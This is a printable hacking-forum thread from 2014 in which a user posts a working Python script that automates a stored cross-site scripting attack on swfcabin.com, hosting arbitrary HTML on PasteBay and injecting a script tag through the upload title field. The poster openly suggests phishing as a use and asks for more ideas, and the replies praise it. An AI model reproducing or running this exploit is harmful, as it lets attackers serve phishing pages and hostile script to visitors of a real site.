Sinisterly
Automating XSS and PasteBay to make an html file uploader - Printable Version

+- Sinisterly (https://sinister.ly)
+-- Forum: Hacking (https://sinister.ly/Forum-Hacking)
+--- Forum: Website & Server Hacking (https://sinister.ly/Forum-Website-Server-Hacking)
+--- Thread: Automating XSS and PasteBay to make an html file uploader (/Thread-Automating-XSS-and-PasteBay-to-make-an-html-file-uploader)



Automating XSS and PasteBay to make an html file uploader - kyler - 08-08-2014

Here's a python script that automates an xss vector found in swfcabin.com. You can pass it an html file and it will give you back a swfcabin link that displays said file. It uses PasteBay to store the html page as the xss only works for short strings.

Here's some example usage:
Code:
> ./xss_uploader.py test.html Uploading file to eb2a488a-8fff-4f67-b.pastebay.com Uploaded: http://eb2a488a-8fff-4f67-b.pastebay.com/?dl=1477529 Uploading .swf to swfcabin Uploaded: http://www.swfcabin.com/open/1407484637

And here's the code.
Spoiler:
Code:
#!/usr/bin/env python2 import urllib,urllib3 import argparse import uuid #Some command line arguments parser = argparse.ArgumentParser( description='Expoit an xxs vunerability in swfcabin.com' ) parser.add_argument( dest='filename', type=file, help='location of file on hard drive' ) parser.add_argument( '-s', required=False, help='pastebay subdomain, max length of 20' ) args = parser.parse_args() #Sort out inputs file_reader = args.filename subdomain = args.s if file_reader==None: #No args given print("Give me a file to upload") exit() if subdomain==None: #Supply a random subdomain subdomain = uuid.uuid4() #20 char max length to fit into xss vector subdomain = ("%s"%subdomain)[:20] #Wrap the uplaod file in js replace the body after it loads true_upload = '''var readyStateCheckInterval = setInterval( function(){ if( document.readyState==='complete' || document.readyState==='interactive' ){ begin_main_routine_hge23ri(); clearInterval(readyStateCheckInterval); } }, 10); function begin_main_routine_hge23ri(){ document.write(unescape(\'%s\')); }'''%urllib.quote(file_reader.read(),'') #Upload code to pastebay print("Uploading file to %s.pastebay.com"%subdomain) url = "http://%s.pastebay.com"%subdomain data = {"poster":"", "code2":true_upload, "expiry":"m", # <--- You can change this to d, m, or f <--- # "paste":"1" } data = urllib.urlencode(data) resp = urllib.urlopen(url,data).read() resp = resp.split('<a href="http://%s.pastebay.com/'%subdomain)[1] resp = resp.split('"')[0] code_location = "%s.pastebay.com/?dl=%s"%(subdomain,resp) print("Uploaded: http://%s"%code_location) #Upload to swfcabin and display link print("Uploading .swf to swfcabin") url = "http://swfcabin.com" subdomain = "awdwdw" xss = '</title><script src="//%s">'%code_location headers={ "User-Agent":"Internet Explorer 5", "Accept-Encoding":"gzip, deflate" } fields={ "uploadSwf":"Publish Swf", "title":xss, "fileswf":( "test.swf", "", "application/vnd.adobe.flash.movie" ) } try: con = urllib3.PoolManager() resp = con.request_encode_body("POST",url,fields).data resp = resp.split('''Your swf file has successfully been published and is now available at the below url: <input type="text" value="''')[1] resp = resp.split('"')[0] print("Uploaded: %s"%resp) except: print("Could not upload to swfcabin :(")



How it works:
First it takes the input file, reads it, then encodes it.
Then it takes that and wraps it in some helper javascript to make sure it's loaded at the right time.
After that it uploads the whole string to pastebay with a random subdomain (or you can provide your own if you want).
Then it scrapes the location of the uploaded file from the response page.
After that it posts an empty .swf and a title field (this is the xss vector) to swfcabin
Finally, it scrapes the returned page for the final link.


Some notes/questions:
Swfcabin.com has some bandwidth problems it will go offline from time to time.

I guess this could be used for phishing attacks or something. Any other ideas on ways to use this?

When trying to find an xss vector for this, I noticed that lots of file upload sites don't properly sanitize filenames. However it looks like urllib3 has a bug/feature of trying to encode filenames and it breaks everything. Does anybody here know a workaround?


RE: Automating XSS and PasteBay to make an html file uploader - Crypt - 08-08-2014

Wow, a legitimate tutorial that wasn't copied and pasted from another forum or site. You don't see that every day on this forum.


RE: Automating XSS and PasteBay to make an html file uploader - Pinkie_Rose - 08-12-2014

Nice tutorial but it would be nice to see you credit the original owner.
Good tut none the less <3


RE: Automating XSS and PasteBay to make an html file uploader - Equinox - 08-12-2014

Code:
import urllib,urllib3

[sacrasm intensifies]
Well, looks like urllib3 is now a module. That or it's custom.


RE: Automating XSS and PasteBay to make an html file uploader - kyler - 08-12-2014

Quote:Nice tutorial but it would be nice to see you credit the original owner.
Good tut none the less <3

Here's a link to the original. Thanks Wink